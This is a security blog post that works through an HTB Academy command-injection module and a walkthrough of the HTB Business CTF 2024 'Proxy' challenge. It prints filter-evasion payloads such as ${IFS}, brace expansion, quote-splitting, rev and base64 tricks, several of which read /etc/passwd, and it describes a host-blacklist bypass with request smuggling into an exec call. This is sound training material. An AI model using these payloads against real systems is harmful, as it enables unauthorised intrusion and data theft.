Introduction#
We’ve already learned a decent amount about of introductory information about OS command injection when we were studying for the Burp Suite Certified Practitioner Exam. That blog post can be found here, but today I want to go through some topics and techniques showcased in the HTB Academy module focused around command injections.
Some brief background first, the main idea behind OS command injection is that some operating system program is handling input from the user and is not properly sanitizing the input or blacklisting characters. This means that the typical idea would be to terminate the command after you pass input to the application and try to inject another command.
You can do this in a variety of ways like:
- Using the
;
character to terminate the current instruction and allow for another. - Using
&&
to execute the input and the following command. - Using the
||
(or) operator in conjunction with a failed first condition, leading to execution of the injected command.
Here is another generic list of payloads by injection type:
Injection Type | Operators |
---|---|
SQL Injection | ' , ; -- /* */ |
Command Injection | ; && |
LDAP Injection | * ( ) & | |
XPath Injection | ' or and not substring concat count |
OS Command Injection | ; & | |
Code Injection | ' ; -- /* */ $() ${} #{} %{} ^ |
Directory Traversal/File Path Traversal | ../ ..\\ %00 |
Object Injection | ; & | |
XQuery Injection | ' ; -- /* */ |
Shellcode Injection | \x \u %u %n |
Header Injection | \n \r\n \t %0d %0a %09 |
Avoiding Blacklisted Characters#
Of course, in a more real-world environment you will be faced with some kinds of filters or WAFs (Web application firewalls) that you will need to work around.
In this scenario we are testing a ‘host checker’ application that sends a ping
command to the user’s input IP address:
When we try the following payload in the ip
parameter, we get an ‘Invalid Input’ exception:
127.0.0.1; whoami
This indicates that the web application itself had an error, where as if we ended up on some separate WAF page it is likely the firewall detecting malicious inputs. We know that the issue is with wither the semicolon, the space character, or the whoami
command. We may need to bypass both blacklisted characters and blacklisted commands.
We can try multiple various characters and operators while encoding them in different ways. In this case using a new line character and URL-encoding it into %0a
will allow us to execute the command:
We still want to use a space so that we can trigger our real command, but this is also blocked. If we URL-encode that value we just get +
which is also blocked. Alternatively, we can encode a tab (which is %09
) and this works and allows us to avoid the error. We can also use Linux environment variables like ${IFS}
as their default value is usually a space or a tab.
We can also use brace characters to avoid using spaces all together. For example if you run the following command:
{ls,-la}
It will be parsed as if there was a space, you are just separating the command and its argument in a list. Some payloads using these techniques would be:
ip=127.0.0.1%0als${IFS}%2dla
#ls -la
ip=127.0.0.1%0a%7bls%2c%2dla%7d
#{ls,-la}
The use of environment variables can be pretty vast and if you can see the path you might have some good examples. For example the PATH environment variable usually begins with a /
character, so if we need to insert it to read a specific file we could like this:
ls%09-la%09%${PATH:0:1}etc${PATH:0:1}passwd
# translates to ls -la /etc/passwd
Avoiding Blacklisted Commands#
If the specific command you are trying to execute is blacklisted, then you might need to try splitting it up with quotes:
w'h'o'am'i
w"h"o"am"i
There are also some unique cases for Windows and Linux alike:
#linux
who$@ami
w\ho\am\i
#windows
who^ami
You can also try manipulating the case of the letters in the command, in the instance where the blacklist is case-sensitive:
WhOaMi
The issue though is that most terminals are case-sensitive so this by itself won’t work and you need to inject some additional stuff to make it lowercase.
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi")
#or similar
$(a="WhOaMi";printf %s "${a,,}")
You also might be able to reverse a command using bash after it passes the filter:
$(rev<<<'imaohw')
#this resolves to 'whoami'
And, you can also encode a command and decode it using a similar strategy:
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
#resolves to 'cat /etc/passwd | grep 33'
#we are using '<<<' to avoid using '|'
There are some cool tools to make this easier like bashfuscator and dosfuscation for Linux and Windows respectively.
Example - HTB Proxy Challenge#
This challenge was a part of the Business CTF in 2024 and it involves request smuggling, SSRF, and command injection so I figured it would be good to cover here.
First we need to download the source code for this challenge and we can look at the frontend:
We can begin examining the files:
╰─ ls -R
.:
build_docker.sh challenge config Dockerfile entrypoint.sh flag.txt
./challenge:
backend proxy
./challenge/backend:
index.js package.json
./challenge/proxy:
go.mod includes main.go
./challenge/proxy/includes:
index.html
./config:
supervisord.conf
The /backend/index.js
file tells us about some routes:
---SNIP---
app.post("/getAddresses", async (req, res) => {
try {
const addr = await ipWrapper.addr.show();
res.json(addr);
} catch (err) {
res.status(401).json({message: "Error getting addresses"});
}
});
app.post("/flushInterface", validateInput, async (req, res) => {
const { interface } = req.body;
try {
const addr = await ipWrapper.addr.flush(interface);
res.json(addr);
} catch (err) {
res.status(401).json({message: "Error flushing interface"});
}
});
app.listen(5000, () => {
console.log("Network utils API is up on :5000");
});
Take note of /getAddresses
and /flushInterface
as we will need to call these endpoints later. If we look at /proxy/includes/main.go
we can observe some more routes:
if request.URL == string([]byte{47}) {
var responseText string = htmlResponse("/app/proxy/includes/index.html")
frontendConn.Write([]byte(responseText))
frontendConn.Close()
return
}
if request.URL == string([]byte{47, 115, 101, 114, 118, 101, 114, 45, 115, 116, 97, 116, 117, 115}) {
var serverInfo string = GetServerInfo()
var responseText string = okResponse(serverInfo)
frontendConn.Write([]byte(responseText))
frontendConn.Close()
return
}
if strings.Contains(strings.ToLower(request.URL), string([]byte{102, 108, 117, 115, 104, 105, 110, 116, 101, 114, 102, 97, 99, 101})) {
var responseText string = badReqResponse("Not Allowed")
frontendConn.Write([]byte(responseText))
frontendConn.Close()
return
}
This longer string of bytes is decimal for /server-status
, so we can go there to get details about the server in question:
The other array spells out flushinterface
which should be not allowed. Now, the function of a proxy is just to forward your requests somewhere else, so this application has a few functions to sanitize host headers and check for a malicious body for the incoming request. The request from earlier to /flushInterface
uses the ip-wrapper library for NPM.
Examining the code at /ip-wrapper/src/neighbors.js
we can observe the following:
function flush(interfaceName = '') {
return new Promise((resolve, reject) => {
const command = interfaceName ? `ip neigh flush dev ${interfaceName}` : `ip neigh flush all`;
exec(command, (error, stdout, stderr) => {
if (error || stderr) {
reject(new Error('Error flushing network neighbors: ' + (stderr || error.message)));
return;
}
resolve();
});
});
}
The exec
function will execute a system command using interfaceName
as the input. In the code of the target application this is called within the /backend/index.js
file here:
app.post("/flushInterface", validateInput, async (req, res) => {
const { interface } = req.body;
try {
const addr = await ipWrapper.addr.flush(interface);
res.json(addr);
} catch (err) {
res.status(401).json({message: "Error flushing interface"});
}
});
The issue with this is that if we call that endpoint our request will be dropped, which we saw in main.go
earlier. There is also a protection stopping us from redirecting to localhost:
isLocal, err := checkIfLocalhost(hostAddress)
if err != nil {
var responseText string = errorResponse("Invalid host")
frontendConn.Write([]byte(responseText))
frontendConn.Close()
return
}
So our end goal is probably to inject a command but first we need to get our request through to flushInterface
somehow. Let’s see if we can get around the host filtering. A normal request looks like this (with some unimportant headers removed):
Trying to just change the host header to point at localhost on the backend port of 5000
just returns a normal response:
If we try calling out to some endpoint we get an ‘Invalid Host’ error:
This is likely happening because of a function called checkIfLocalhost
in main.go
:
isLocal, err := checkIfLocalhost(hostAddress)
if err != nil {
var responseText string = errorResponse("Invalid host")
frontendConn.Write([]byte(responseText))
frontendConn.Close()
return
}
Let’s find that function:
func checkIfLocalhost(address string) (bool, error) {
IPs, err := net.LookupIP(address)
if err != nil {
return false, err
}
for _, ip := range IPs {
if ip.IsLoopback() {
return true, nil
}
}
return false, nil
}
So the function looks up the input address and then it checks if the input address is a loopback address. If we recall when we checked /sercer-status
we got an internal IP address:
192.168.61.185
Just trying this host doesn’t work though because there is a blacklist that contains the decimal for 192
:
func blacklistCheck(input string) bool {
var match bool = strings.Contains(input, string([]byte{108, 111, 99, 97, 108, 104, 111, 115, 116})) ||
strings.Contains(input, string([]byte{48, 46, 48, 46, 48, 46, 48})) ||
strings.Contains(input, string([]byte{49, 50, 55, 46})) ||
strings.Contains(input, string([]byte{49, 55, 50, 46})) ||
strings.Contains(input, string([]byte{49, 57, 50, 46})) ||
strings.Contains(input, string([]byte{49, 48, 46}))
return match
}
So we can’t use localhost
, 0.0.0.0
, 127
, 172
, 192
, or 10
in our host header. We can use nip.io to grab a wildcard DNS that can bypass this.
This time the request takes a bit longer and gives us a 404 instead. Notice that it is using Express JS which is the backend - so we are able to reach the backend. Now let’s try and call getAddresses
- while including a Content-Length
header to avoid an error.
Now we need to get around the 401 error that indicates that we aren’t allowed to call this method. I assume that this is because the application has some way of knowing that the request is being initiated by an outside host instead of an internal one, even though we bypassed the host header sanitization.
One strategy we can use if request smuggling. I wrote a blog post about this before. Basically you encapsulate another request within a request. The frontend and backend interfaces disagree about where the request is supposed to start and end and you effectively queue up a request that appears to come from the back end.
This isn’t all that difficult to do but can be tricky. In this case the requestParser
function in main.go
checks the content length but not if the content length matches the actual length of the body. The content length will appear weird because that function strips the first three \r\n
characters.
Making sure to uncheck ‘Update Content Length’ in Burp Suite and enabling the newline visuals makes this easier. We see that smuggling is possible:
We see that the new response is in JSON and requires an interface input so we can modify our request accordingly:
This time we get a different error that indicates that our input is getting passed through to the ip-wrapper
library’s OS command. Let’s finally do some command injection. Ideally we just pipe output to the front-end page located at /app/.proxy/ioncludes/index.html
:
This payload works by using ${IFS}
to bypass blacklisted spaces and semicolons to break out of the OS command used by ip-wrapper
.
If we go to the main page we see that the change was made:
I know this isn’t that difficult of a command injection but command injection seems to be pretty low hanging fruit in most CTFs so I had trouble finding quality examples outside of the academy module itself.